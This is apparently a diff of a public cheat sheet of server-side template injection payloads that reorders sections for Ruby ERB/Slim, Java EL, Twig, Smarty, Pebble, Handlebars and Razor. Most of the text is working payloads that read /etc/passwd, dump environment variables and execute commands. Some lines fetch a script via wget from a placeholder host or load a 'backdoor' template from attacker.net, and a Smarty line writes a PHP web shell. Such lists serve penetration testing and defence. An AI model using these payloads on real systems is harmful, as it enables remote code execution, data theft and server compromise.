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@ -69,78 +69,25 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
---
## Ruby
## ASP.NET Razor
### Ruby - Basic injections
### ASP.NET Razor - Basic injection
ERB:
```ruby
<%= 7 * 7 %>
```
Slim:
```ruby
#{ 7 * 7 }
```
### Ruby - Retrieve /etc/passwd
```ruby
<%= File.open('/etc/passwd').read %>
```
### Ruby - List files and directories
```ruby
<%= Dir.entries('/') %>
```
### Ruby - Code execution
Execute code using SSTI for ERB engine.
```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for Slim engine.
https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c
```powershell
#{ %x|env| }
@(1+2)
```
## Java
### ASP.NET Razor - Command execution
### Java - Basic injection
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```csharp
@{
// C# code
}
```
### Java - Retrieve the systems environment variables
```java
${T(java.lang.System).getenv()}
```
### Java - Retrieve /etc/passwd
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
---
## Expression Language EL
@ -163,7 +110,6 @@ ${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".g
### Expression Language EL - Code Execution
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
@ -192,65 +138,7 @@ ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().g
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```
## Twig
### Twig - Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
```
### Twig - Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Twig - Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```
### Twig - Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
## Smarty
```python
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
---
## Freemarker
@ -280,35 +168,65 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${dwf.newInstance(ec,null)("id")}
```
## Pebble
---
### Pebble - Basic injection
## Handlebars
```java
{{ someString.toUPPERCASE() }}
### Handlebars - Command Execution
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
### Pebble - Code execution
---
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
## Java
New version of Pebble :
### Java - Basic injection
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
### Java - Retrieve the systems environment variables
```java
${T(java.lang.System).getenv()}
```
### Java - Retrieve /etc/passwd
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
---
## Jade / Codepen
```python
@ -619,54 +537,9 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
## Handlebars
### Handlebars - Command Execution
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
## ASP.NET Razor
### ASP.NET Razor - Basic injection
https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c
```powershell
@(1+2)
```
### ASP.NET Razor - Command execution
```csharp
@{
// C# code
}
```
---
## Lessjs
@ -723,6 +596,150 @@ registerPlugin({
---
## Pebble
### Pebble - Basic injection
```java
{{ someString.toUPPERCASE() }}
```
### Pebble - Code execution
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
New version of Pebble :
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
---
## Ruby
### Ruby - Basic injections
ERB:
```ruby
<%= 7 * 7 %>
```
Slim:
```ruby
#{ 7 * 7 }
```
### Ruby - Retrieve /etc/passwd
```ruby
<%= File.open('/etc/passwd').read %>
```
### Ruby - List files and directories
```ruby
<%= Dir.entries('/') %>
```
### Ruby - Code execution
Execute code using SSTI for ERB engine.
```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for Slim engine.
```powershell
#{ %x|env| }
```
---
## Smarty
```python
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
---
## Twig
### Twig - Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
```
### Twig - Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Twig - Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```
### Twig - Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
---
## References
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)